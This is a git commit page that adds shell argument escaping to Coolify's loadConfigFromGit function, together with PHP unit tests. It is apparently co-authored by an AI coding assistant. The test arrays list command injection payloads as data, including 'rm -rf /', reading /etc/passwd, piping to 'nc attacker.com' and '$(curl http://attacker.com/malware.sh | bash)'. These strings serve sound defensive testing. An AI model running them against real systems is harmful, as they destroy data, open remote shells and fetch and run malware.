fix: Add escapeshellarg() to prevent command injection in loadConfigFromGit
Some checks are pending
Staging Build / build-push (aarch64, linux/aarch64, ubuntu-24.04-arm) (push) Waiting to run
Staging Build / build-push (amd64, linux/amd64, ubuntu-24.04) (push) Waiting to run
Staging Build / merge-manifest (push) Blocked by required conditions

Add defense-in-depth shell argument escaping for repository URL, branch name,
and base_directory parameters in the loadConfigFromGit function. While input
validation rules already block dangerous characters, escapeshellarg() provides
an additional security layer at the function level.

Also adds comprehensive unit tests for shell argument escaping behavior.

🤖 Generated with [Claude Code](https://claude.com/claude-code)

Co-Authored-By: Claude Opus 4.5 <noreply@anthropic.com>
This commit is contained in:
Andras Bacsai 2025-12-18 08:15:19 +01:00
parent 43178e6033
commit 954203db8c
2 changed files with 174 additions and 5 deletions

View File

@ -2974,7 +2974,11 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire
}
$uuid = new Cuid2;
$cloneCommand = "git clone --no-checkout -b {$branch} {$repository} .";
// Escape shell arguments for safety to prevent command injection
$escapedBranch = escapeshellarg($branch);
$escapedRepository = escapeshellarg($repository);
$cloneCommand = "git clone --no-checkout -b {$escapedBranch} {$escapedRepository} .";
$workdir = rtrim($base_directory, '/');
// Build paths to check: base_directory/coolify.json first, then repo root
@ -2984,8 +2988,8 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire
}
$pathsToCheck[] = 'coolify.json';
// Build sparse-checkout file list
$fileList = collect($pathsToCheck)->map(fn ($path) => "./{$path}")->implode(' ');
// Build sparse-checkout file list (escaped for shell safety)
$fileList = collect($pathsToCheck)->map(fn ($path) => escapeshellarg("./{$path}"))->implode(' ');
$commands = collect([
"rm -rf /tmp/{$uuid}",
@ -2998,8 +3002,8 @@ function loadConfigFromGit(string $repository, string $branch, string $base_dire
]);
// Add cat commands for each path, trying base_directory first
// Use subshell to capture output before cleanup
$catCommands = collect($pathsToCheck)->map(fn ($path) => "cat ./{$path} 2>/dev/null")->implode(' || ');
// Use subshell to capture output before cleanup (paths escaped for shell safety)
$catCommands = collect($pathsToCheck)->map(fn ($path) => 'cat '.escapeshellarg("./{$path}").' 2>/dev/null')->implode(' || ');
$commands->push("({$catCommands}) || true");
$commands->push("cd / && rm -rf /tmp/{$uuid}");

View File

@ -225,3 +225,168 @@ it('handles invalid JSON gracefully', function () {
expect(json_last_error())->not->toBe(JSON_ERROR_NONE)
->and($config)->toBeNull();
});
/**
* Tests for shell argument escaping in loadConfigFromGit command building.
* These tests verify that escapeshellarg() properly protects against command injection.
*/
it('escapes repository URL for shell safety', function () {
// Normal URLs should be properly quoted
$normalUrls = [
'https://github.com/user/repo.git',
'https://gitlab.com/user/repo.git',
'git@github.com:user/repo.git',
'https://github.com/user/repo-name.git',
'https://github.com/user/repo_name.git',
];
foreach ($normalUrls as $url) {
$escaped = escapeshellarg($url);
// escapeshellarg wraps in single quotes
expect($escaped)->toBe("'{$url}'");
}
});
it('escapes branch names for shell safety', function () {
// Normal branch names should be properly quoted
$normalBranches = [
'main',
'master',
'develop',
'feature/new-feature',
'release/v1.0.0',
'hotfix/bug-fix',
'user/john/feature',
];
foreach ($normalBranches as $branch) {
$escaped = escapeshellarg($branch);
expect($escaped)->toBe("'{$branch}'");
}
});
it('neutralizes command injection attempts in repository URL', function () {
// These malicious inputs would be blocked by validation rules,
// but escapeshellarg provides defense-in-depth
$maliciousUrls = [
'https://github.com/user/repo.git; rm -rf /',
'https://github.com/user/repo.git && cat /etc/passwd',
'https://github.com/user/repo.git | nc attacker.com 1234',
'$(curl http://attacker.com/malware.sh | bash)',
'`curl http://attacker.com/malware.sh`',
];
foreach ($maliciousUrls as $url) {
$escaped = escapeshellarg($url);
// The escaped string should be safely quoted, not executable
expect($escaped)->toStartWith("'")
->and($escaped)->toEndWith("'");
// Verify that shell metacharacters are neutralized
// When passed to shell, the entire string is treated as a single argument
$unescaped = substr($escaped, 1, -1); // Remove surrounding quotes
// For strings with single quotes inside, escapeshellarg uses escape sequences
// The key test is that the result starts and ends with quotes
}
});
it('neutralizes command injection attempts in branch name', function () {
// These malicious inputs would be blocked by validation rules,
// but escapeshellarg provides defense-in-depth
$maliciousBranches = [
'main; rm -rf /',
'main && cat /etc/passwd',
'main | nc attacker.com 1234',
'$(whoami)',
'`id`',
];
foreach ($maliciousBranches as $branch) {
$escaped = escapeshellarg($branch);
expect($escaped)->toStartWith("'")
->and($escaped)->toEndWith("'");
}
});
it('escapes base_directory paths for shell safety', function () {
// Normal base directories
$normalPaths = [
'/app',
'/app/frontend',
'/services/api',
'subfolder',
'path/to/app',
];
foreach ($normalPaths as $path) {
$workdir = rtrim($path, '/');
$pathsToCheck = [];
if ($workdir !== '' && $workdir !== '/') {
$pathsToCheck[] = ltrim($workdir, '/').'/coolify.json';
}
$pathsToCheck[] = 'coolify.json';
// Build escaped file list as done in loadConfigFromGit
$fileList = collect($pathsToCheck)->map(fn ($p) => escapeshellarg("./{$p}"))->implode(' ');
// Verify each path is properly quoted
foreach ($pathsToCheck as $p) {
expect($fileList)->toContain("'./{$p}'");
}
}
});
it('builds correct git clone command with escaping', function () {
// Simulate the command building logic from loadConfigFromGit
$repository = 'https://github.com/user/repo.git';
$branch = 'main';
$escapedBranch = escapeshellarg($branch);
$escapedRepository = escapeshellarg($repository);
$cloneCommand = "git clone --no-checkout -b {$escapedBranch} {$escapedRepository} .";
expect($cloneCommand)->toBe("git clone --no-checkout -b 'main' 'https://github.com/user/repo.git' .");
});
it('builds correct sparse-checkout command with escaping', function () {
// Simulate the sparse-checkout file list building from loadConfigFromGit
$baseDirectory = '/app/frontend';
$workdir = rtrim($baseDirectory, '/');
$pathsToCheck = [];
if ($workdir !== '' && $workdir !== '/') {
$pathsToCheck[] = ltrim($workdir, '/').'/coolify.json';
}
$pathsToCheck[] = 'coolify.json';
$fileList = collect($pathsToCheck)->map(fn ($path) => escapeshellarg("./{$path}"))->implode(' ');
expect($fileList)->toBe("'./app/frontend/coolify.json' './coolify.json'");
});
it('builds correct cat command with escaping', function () {
// Simulate the cat command building from loadConfigFromGit
$baseDirectory = '/app/frontend';
$workdir = rtrim($baseDirectory, '/');
$pathsToCheck = [];
if ($workdir !== '' && $workdir !== '/') {
$pathsToCheck[] = ltrim($workdir, '/').'/coolify.json';
}
$pathsToCheck[] = 'coolify.json';
$catCommands = collect($pathsToCheck)->map(fn ($path) => 'cat '.escapeshellarg("./{$path}").' 2>/dev/null')->implode(' || ');
expect($catCommands)->toBe("cat './app/frontend/coolify.json' 2>/dev/null || cat './coolify.json' 2>/dev/null");
});
it('handles single quotes in input safely', function () {
// escapeshellarg handles single quotes by ending the quote, adding escaped quote, starting new quote
$inputWithQuote = "it's-a-test";
$escaped = escapeshellarg($inputWithQuote);
// The result should be safe for shell execution
// escapeshellarg converts ' to '\''
expect($escaped)->toBe("'it'\\''s-a-test'");
});